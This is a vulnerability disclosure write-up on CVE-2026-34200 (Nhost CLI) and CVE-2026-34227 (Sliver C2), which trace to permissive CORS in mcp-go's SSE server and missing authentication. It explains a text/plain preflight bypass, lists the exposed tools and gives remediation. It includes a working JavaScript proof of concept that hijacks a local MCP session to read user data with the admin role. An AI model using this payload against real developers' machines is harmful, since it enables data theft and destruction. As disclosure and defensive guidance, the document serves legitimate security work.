01 Background
The Model Context Protocol (MCP) is an emerging standard that allows AI assistants to call tools through a structured interface. As adoption has grown rapidly across developer tooling, security teams have not yet established consistent threat models for MCP server deployments - particularly around locally-running instances.
During research in March 2026, I identified the same class of vulnerability independently in two
products: Nhost CLI and the Sliver C2 framework. Both expose MCP servers over
HTTP. Both return Access-Control-Allow-Origin: * on every response. Neither requires inbound
authentication. The result in both cases is the same: a single malicious web page, visited in a browser on the
same machine as the developer, can silently invoke privileged MCP tools using the developer's own configured
credentials.
02 The Root Cause: mcp-go's SSE Handler
Both vulnerabilities trace back to the same upstream library: mcp-go, a popular Go library for building MCP servers. Specifically, the issue lives in its SSEServer implementation.
The SSEServer hardcodes a permissive CORS policy on every response from the SSE and message endpoints:
// Hardcoded on SSE and message handlers
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
Honestly, the implementation in mcp-go is pretty weird. The permissive CORS is applied only on the SSE handler - the standard HTTP handler in the same library is perfectly fine. This asymmetry is puzzling and suggests the SSE transport was added without a full security review. Someone even raised origin validation as a feature request via mark3labs/mcp-go#475, and they closed it as not planned.
This means any website can open an EventSource connection to
http://localhost:PORT/sse from a browser - the server responds with no preflight required for SSE.
03 The Content-Type Bypass
Even setting SSE aside, there is a second and more reliable attack vector: CORS Simple Requests.
Browsers only trigger a CORS preflight (OPTIONS request) when certain conditions
are met - a non-simple Content-Type, a non-standard method, or custom headers. The mcp-go server
does not strictly validate the Content-Type header on inbound JSON-RPC requests. This means an
attacker can send a POST with Content-Type: text/plain - a Simple Request - and the browser
dispatches it cross-origin without ever sending a preflight.
evil.com - victim visits it in browser on developer machineEventSource to localhost:8080/sse - permissive CORS allows itsessionId endpoint URL via SSE streamContent-Type: text/plain - no preflight firedThis technique is highly reliable across all modern browsers. It requires no special conditions, no browser plugins, and no user interaction beyond visiting the malicious page.
04 Finding 1 - Nhost CLI (CVE-2026-34200)
What is Nhost?
Nhost is an open-source Firebase alternative providing GraphQL APIs, authentication, and storage. Its CLI includes an MCP server allowing AI assistants to manage local and cloud Nhost projects.
Preconditions
This vulnerability requires two explicit, non-default configuration steps. The default
nhost mcp start is not affected - it binds to stdio, opening no network socket at
all.
nhost mcp start --bind localhost:80802. Cloud credentials configured:
nhost login && nhost mcp config
Without the --bind flag, no network socket is opened and no browser-based attack is
possible. Without cloud credentials, an attacker reaching the server is limited to the local development
environment.
Exposed Tools
| Tool | Requires Cloud Config | Impact |
|---|---|---|
graphql-query |
No | Read/write GraphQL access with admin role; arbitrary X-Hasura-Role/User-Id headers |
cloud-graphql-query |
Yes | Queries and mutations against cloud project using developer's PAT |
manage-graphql |
Yes | Access to /apis/migrate - raw SQL execution, table drops, permission changes |
Confirming the Exposure
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: text/event-stream
...
event: endpoint
data: /message?sessionId=6b909af2-70fa-4aa2-a726-0559f049f8aa
05 Finding 2 - Sliver C2 Framework (CVE-2026-34227)
What is Sliver?
Sliver is an open-source adversary simulation framework developed by BishopFox. It provides a C2 (command-and-control) platform for red team operations. Its MCP server exposes tools for managing live implants - sessions and beacons running on target machines.
Why This Is Particularly Severe
Unlike Nhost - where network binding is opt-in - Sliver's MCP server binds to
localhost:8080 by default when MCP is enabled. No explicit flag required. Every operator
who enables MCP is exposed.
0.0.0.0 for team access, the vulnerability
escalates from a browser-based CSRF/CORS issue to direct unauthenticated remote access from
anywhere on the network - no browser required, no victim interaction at all.
Exposed Tools
| Tool | Impact |
|---|---|
list_sessions_and_beacons |
Full visibility into active implants, targets, and infrastructure |
fs_ls, fs_pwd, fs_cd |
Browse file systems on compromised targets |
fs_cat |
Exfiltrate arbitrary files - SSH keys, ntds.dit, credentials |
fs_rm, fs_mv, fs_cp, fs_mkdir |
Destroy or manipulate files on targets - campaign sabotage |
fs_chmod, fs_chown |
Alter permissions on compromised hosts |
An attacker who tricks a single operator into clicking a link can silently enumerate the entire operation, exfiltrate collected target data, or mass-delete beacons - permanently severing the team's access to the target network in a single click.
06 Side-by-Side Comparison
| Property | Nhost CLI | Sliver C2 |
|---|---|---|
| Default binding | stdio (safe) | localhost:8080 (exposed) |
| Network binding required? | Yes - explicit --bind flag |
No - default when MCP enabled |
| CORS policy | Access-Control-Allow-Origin: * |
Access-Control-Allow-Origin: * |
| Inbound authentication | None | None |
| Content-Type bypass | Yes - text/plain works |
Yes - text/plain works |
| Root cause | mcp-go SSEServer | mcp-go SSEServer |
| Severity | High | High |
| CVE | CVE-2026-34200 | CVE-2026-34227 |
| Patched version | v1.41.0 | In progress |
07 Attack Scenarios
A Nhost developer running
nhost mcp start --bind localhost:8080 visits a malicious page. Embedded JavaScript connects to
the local MCP server and calls graphql-query with role admin, reading all users and
their data from the locally configured project.
A developer who has run nhost mcp config
visits a malicious page while bound to the network. The script calls cloud-graphql-query to read
production data, or invokes manage-graphql to execute raw SQL - dropping tables or exfiltrating
everything.
A red team operator with Sliver MCP enabled clicks a link
to a seemingly benign page. Embedded JavaScript calls list_sessions_and_beacons to enumerate all
active implants, then issues fs_rm commands across every target - mass-deleting beacons and
permanently severing team access to the target network.
An operator configures the MCP interface to
0.0.0.0 for team access. An external attacker scans the network, discovers the open port, and
directly issues unauthenticated API calls - no browser, no victim interaction, full session control.
08 Proof of Concept
The following JavaScript, hosted on any domain and visited in a browser on the same machine as
the MCP server, demonstrates the full attack chain. It uses the text/plain Content-Type to bypass
CORS preflight and invokes the graphql-query tool via the SSE session.
<!-- Host on any domain. Visit in browser on same machine as MCP server. -->
<script>
const mcpPort = 8080;
const es = new EventSource(`http://localhost:${mcpPort}/sse`);
es.addEventListener('endpoint', (e) => {
// Capture the session endpoint URL from the SSE stream
const endpointUrl = e.data;
console.log('[+] MCP Session:', endpointUrl);
const payload = {
jsonrpc: "2.0",
id: "1",
method: "tools/call",
params: {
name: "graphql-query",
arguments: {
subdomain: "local",
role: "admin",
query: "query { users { id email } }"
}
}
};
fetch(endpointUrl, {
method: "POST",
mode: "no-cors",
// text/plain = Simple Request = no CORS preflight fired
headers: { "Content-Type": "text/plain" },
body: JSON.stringify(payload)
});
});
es.addEventListener('message', (e) => {
const data = JSON.parse(e.data);
if (data.result?.content) {
// Data exfiltrated - readable cross-origin via SSE
console.log("[!] EXFILTRATED:", data.result.content[0].text);
}
});
</script>
Full PoC including Sliver-specific payloads: github.com/skoveit/CVE-2026-34227
09 Remediation & Vendor Response
Nhost - Patched in v1.41.0
PR #4060 removes the --bind flag entirely, so only stdio communication is
permitted. This is the most conservative fix: it eliminates the attack surface rather than adding authentication
on top of it. Users on <= 1.40.0 should upgrade immediately.
nhost mcp start --bind. The default stdio mode is not affected.
Sliver - Fix In Progress
The Sliver maintainer (@moloch--) accepted the report and has added inbound authentication tokens, effective regardless of the CORS policy. They are also evaluating switching away from mcp-go's SSEServer entirely.
"Yea it's not clear to me why such a wide CORS policy is needed, but either way I've added auth tokens which should be effective regardless of the CORS policy." - @moloch--, Sliver maintainer
One pattern worth noting: Grafana Tempo also uses mcp-go, but wraps it with
StreamableHTTPServer instead of SSEServer and applies their own authentication
middleware around the whole thing - a design that avoids the SSE CORS issue entirely.
10 The Broader MCP Security Problem
These two findings are unlikely to be isolated. The conditions that create this vulnerability - mcp-go's SSEServer, no inbound auth, a developer running the process locally - are the default integration pattern for a large number of MCP server implementations.
The mcp-go maintainers closed the origin validation feature request (mark3labs/mcp-go#475) as not
planned. This means every project using SSEServer from this library is relying on application-level
mitigations that many developers simply haven't added.
If You Run an MCP Server Locally, Ask Yourself:
- Is it bound to a network port, or stdio only? (stdio is safe)
- If network-bound, does it require an inbound auth token?
- What CORS policy does your MCP library apply on the SSE handler specifically?
- What can an unauthenticated caller do with any exposed tool?
- If misconfigured to
0.0.0.0, what is the blast radius?
Advisories & References
- GHSA-6c5x-3h35-vvw2 - Nhost CLI · CVE-2026-34200 · High
- GHSA-6fpf-248c-m7wm - Sliver C2 · CVE-2026-34227 · High
- github.com/skoveit/CVE-2026-34200 - Nhost PoC
- github.com/skoveit/CVE-2026-34227 - Sliver PoC
- mark3labs/mcp-go#475 - Origin validation feature request